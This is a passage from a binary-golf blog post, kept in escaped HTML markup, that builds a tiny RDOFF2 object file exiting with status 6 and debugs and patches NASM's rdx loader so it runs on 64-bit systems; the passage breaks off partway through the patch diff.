&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># This generates an RDF with an Global/Export/Public header type that can be loaded by rdx called global.rdf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># It doesn&amp;#39;t use any tricks to make it small&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># df5a07fb3400e95d4c68cb36a10451f15bd1ca536b50993709d7a534a3b3f4a6 global.rdf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># (venv-2025) 2025-11-24 14:10:16 ~/projects/binarygolf/bggp6 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># ▶ xxd global.rdf &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 00000000: 5244 4f46 4632 4300 0000 1400 0000 030c RDOFF2C.........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 00000010: 0000 0000 0000 5f6d 6169 6e00 0504 0100 ......_main.....&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 00000020: 0000 0100 0000 0000 0c00 0000 b83c 0000 .............&amp;lt;..&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 00000030: 00bf 0600 0000 0f05 0200 0100 0000 0100 ................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 00000040: 0000 6600 0000 0000 0000 0000 00 ..f..........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Setting up the header - a GLOBAL, which points to the code section&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hdr_global&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RDFREC_GLOBAL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">segment&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">label&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;_main&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># This one BSS segment is also needed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">hdr_bss&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RDFREC_BSS&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bss_size&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Now we construct the header and add our records to the list&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_hdr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RDFHDR&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_hdr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hdr_recs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RDFRECS&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">RDFREC&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">GLOBAL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">hdr_global&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">value&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">hdr_global&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_hdr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hdr_recs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RDFRECS&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">RDFREC&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">BSS&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">hdr_bss&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">value&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">hdr_bss&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># This is the code we want to run, here it just exits 6 using a syscall&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">mycode&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;b83c000000bf060000000f05&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># construct the segments&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_segs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RDFSEGS&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_segs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rdf_segs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RDFSEG_TLV&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">RDFSEG&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">TEXT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">mycode&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">mycode&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdf_segs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rdf_segs&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RDFSEG_TLV&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">RDFSEG&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">DATA&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">number&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">length&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x66&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># This padding was added by nasm, not sure if it was intentional but we account for it anyways&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">padding&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x00&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">10&lt;/span> &lt;span class="c1"># unknown usage&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">obj_len&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rdf_hdr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rdf_segs&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">padding&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">4&lt;/span> &lt;span class="c1"># the +4 is for the hdr_len for now&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Now to initialize the entire file buffer and add our segments, appending the padding&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdoff&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RDOFF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">hdr_len&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rdf_hdr&lt;/span>&lt;span class="p">),&lt;/span>&lt;span class="n">hdr&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">rdf_hdr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">segs&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">rdf_segs&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">obj_len&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">obj_len&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="n">padding&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">rdoff&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">show2&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># show the dissected fields&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;global.rdf&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;wb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">rdoff&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>rdfdump&lt;/code> doesn&amp;rsquo;t seem to have a problem with this, a good sign!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">(venv-2025) 2025-11-23 18:43:46 ~/projects/binarygolf/bggp6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./nasm-nasm-2.15/rdoff/rdfdump global.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF dump utility, version 2.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF2 revision 0.6.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Copyright (c) 1996,99 Julian R Hall
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Improvements and fixes (c) 2002-2004 RET &amp;amp; COM Research.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">File global.rdf: RDOFF version 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Object content size: 67 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Header (20 bytes):
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> public: (0000:00000000) = _main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> bss reservation: 00000001 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0001 (text)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 12 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0002 (data)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 1 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NULL segment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total number of segments: 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total segment content length: 13 bytes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Oh neat, new way to refer to Header Record Type 3 (GLOBAL or EXPORT) just dropped: &lt;strong>PUBLIC&lt;/strong> !!&lt;/p>
&lt;p>Anyways, this file segfaulted &lt;code>rdx&lt;/code>, but for a curious reason.&lt;/p>
&lt;p>I re-ran &lt;code>rdx&lt;/code> in gdb and noticed that the value in &lt;code>*s-&amp;gt;offset&lt;/code> looks correct-ish, but it was missing something. I added the top half of the base address to &lt;code>*s-&amp;gt;offset&lt;/code> and then did a hex dump on that address. The code was in the correct place, but the address was truncated to 32 bit!&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-32bit-addr.png" alt="">&lt;/p>
&lt;h2 id="whoops-need-a-32bit-executable-heap">Whoops, need a 32bit executable heap&lt;/h2>
&lt;p>I took at look at the &lt;a href="https://github.com/netwide-assembler/nasm/blob/f4f7d18c06449a1859a62a10e7e24ca644032dff/include/rdoff.h#L85">code&lt;/a> for the record types and found the definition for &amp;ldquo;Public/export record&amp;rdquo; (no love for &amp;ldquo;GLOBAL&amp;rdquo; here). The &lt;code>offset&lt;/code> is indeed an &lt;code>int32_t&lt;/code>&amp;hellip;&lt;/p>
&lt;p>include/rdoff.h&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">85
&lt;/span>&lt;span class="lnt">86
&lt;/span>&lt;span class="lnt">87
&lt;/span>&lt;span class="lnt">88
&lt;/span>&lt;span class="lnt">89
&lt;/span>&lt;span class="lnt">90
&lt;/span>&lt;span class="lnt">91
&lt;/span>&lt;span class="lnt">92
&lt;/span>&lt;span class="lnt">93
&lt;/span>&lt;span class="lnt">94
&lt;/span>&lt;span class="lnt">95
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * Public/export record
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">struct&lt;/span> &lt;span class="n">ExportRec&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8_t&lt;/span> &lt;span class="n">type&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* must be 3 */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8_t&lt;/span> &lt;span class="n">reclen&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* content length */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8_t&lt;/span> &lt;span class="n">flags&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* SYM_* flags (see below) */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8_t&lt;/span> &lt;span class="n">segment&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* segment referred to (0/1/2) */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int32_t&lt;/span> &lt;span class="n">offset&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* offset within segment */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">label&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">EXIM_LABEL_MAX&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="cm">/* zero terminated as in import */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>If you recall &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdx.c#L85">rdx.c&lt;/a>, the &lt;code>code&lt;/code> is provided by &lt;code>s-&amp;gt;offset&lt;/code>, meaning that this is the actual address we control here.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">85
&lt;/span>&lt;span class="lnt">86
&lt;/span>&lt;span class="lnt">87
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">main_fn&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="kt">size_t&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">offset&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">argv&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* remove &amp;#39;rdx&amp;#39; from command line */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">code&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="cm">/* execute */&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>With execution being tantalizingly close, I decided to try to make the code support 64 bit addresses.&lt;/p>
&lt;p>These are all the places I changed from int32 to int64:&lt;/p>
&lt;ul>
&lt;li>&lt;code>ExportRec-&amp;gt;offset&lt;/code> in &lt;code>rdoff/rdoff.h&lt;/code>&lt;/li>
&lt;li>&lt;code>textrel&lt;/code>, &lt;code>datarel&lt;/code>, &lt;code>bssrel&lt;/code> in &lt;code>RDFModuleStruct&lt;/code> in &lt;code>rdoff/rdfload.h&lt;/code>&lt;/li>
&lt;li>re-casting all the sizes in &lt;code>rdfload.c:L132-L134&lt;/code>&lt;/li>
&lt;li>&lt;code>symtabEnt-&amp;gt;offset&lt;/code> in &lt;code>rdoff/symtab.h&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>I re-ran the code, and &lt;code>rdx&lt;/code> segfaulted again, but for a different reason.&lt;/p>
&lt;p>It got to the entrypoint, but it can&amp;rsquo;t execute because it needs an executable heap&amp;hellip;&lt;/p>
&lt;p>&lt;img src="https://n0.lol/rdoff-bggp6-heap.png" alt="">&lt;/p>
&lt;p>This tells me that &lt;code>rdx&lt;/code> hasn&amp;rsquo;t worked on a 64 bit system, probably ever. The way the process image is set up just calls &lt;code>nasm_malloc()&lt;/code>, and doesn&amp;rsquo;t set up any sort of sandbox or tweak any permissions for the code tries to load and run. It just allocates a chunk in the existing nasm heap and lets it rip I guess. This is pretty cool, it&amp;rsquo;s basically just a little shellcode loader! All these nerds decided the heap needed to be protected and ruined the fun. :(&lt;/p>
&lt;h2 id="iximeow-saves-the-day">iximeow saves the day&lt;/h2>
&lt;p>While I was debugging this issue in voice chat, iximeow suggested I rewrite the &lt;code>nasm_malloc()&lt;/code> calls in &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdfload.c#L84">rdfload&lt;/a> with &lt;code>mmap()&lt;/code> instead, so that I can just reuse the existing 32 bit values by mapping the allocated memory to the 32 bit address space. This solves both problems and simplifies it greatly!!&lt;/p>
&lt;p>While I was busy getting pwned by the &lt;a href="https://en.wikipedia.org/wiki/NX_bit">nx bit&lt;/a>, ixi actually wrote the patch for &lt;code>rdfload.c&lt;/code>, which is here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-diff" data-lang="diff">&lt;span class="line">&lt;span class="cl">&lt;span class="gh">diff --git a/rdoff/rdfload.c b/rdoff/rdfload.c
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gh">index 1c24f2fc..1a1803cd 100644
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gh">&lt;/span>&lt;span class="gd">--- a/rdoff/rdfload.c
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">&lt;/span>&lt;span class="gi">+++ b/rdoff/rdfload.c
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span>&lt;span class="gu">@@ -51,6 +51,8 @@
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gu">&lt;/span> #include &amp;#34;symtab.h&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> #include &amp;#34;collectn.h&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+#include &amp;lt;sys/mman.h&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> extern int rdf_errno;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> rdfmodule *rdfload(const char *filename)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gu">@@ -81,17 +83,26 @@ rdfmodule *rdfload(const char *filename)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gu">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> /* read in text and data segments, and header */
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ /*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ * (((ULONG_PTR)(x)) + PAGE_SIZE-1) &amp;amp; (~(PAGE_SIZE-1)) ) // useless comment
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ * want 32-bit offsets and permissions to work with, so mmap instead
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> f-&amp;gt;t = nasm_malloc(f-&amp;gt;f.seg[0].length);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">- f-&amp;gt;d = nasm_malloc(f-&amp;gt;f.seg[1].length); /* BSS seg allocated later */
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">&lt;/span>&lt;span class="gi">+ f-&amp;gt;d = nasm_malloc(f-&amp;gt;f.seg[1].length); // BSS seg allocated later
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ */
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ #define PAGE_CEIL(x) ((x &amp;amp; !0xfff) + 0x1000)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ f-&amp;gt;t = mmap(0, PAGE_CEIL(f-&amp;gt;f.seg[0].length), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON | MAP_32BIT, 0, 0);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ f-&amp;gt;d = mmap(0, PAGE_CEIL(f-&amp;gt;f.seg[1].length), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_32BIT, 0, 0);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> hdr = nasm_malloc(f-&amp;gt;f.header_len);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> if (!f-&amp;gt;t || !f-&amp;gt;d || !hdr) {
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> rdf_errno = RDF_ERR_NOMEM;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> rdfclose(&amp;amp;f-&amp;gt;f);
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> if (f-&amp;gt;t)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">- nasm_free(f-&amp;gt;t);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">&lt;/span>&lt;span class="gi">+ munmap(f-&amp;gt;t, PAGE_CEIL(f-&amp;gt;f.seg[0].length));
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ // nasm_free(f-&amp;gt;t);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> if (f-&amp;gt;d)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">- nasm_free(f-&amp;gt;d);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gd">&lt;/span>&lt;span class="gi">+ munmap(f-&amp;gt;d, PAGE_CEIL(f-&amp;gt;f.seg[1].length));
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ // nasm_free(f-&amp;gt;d);
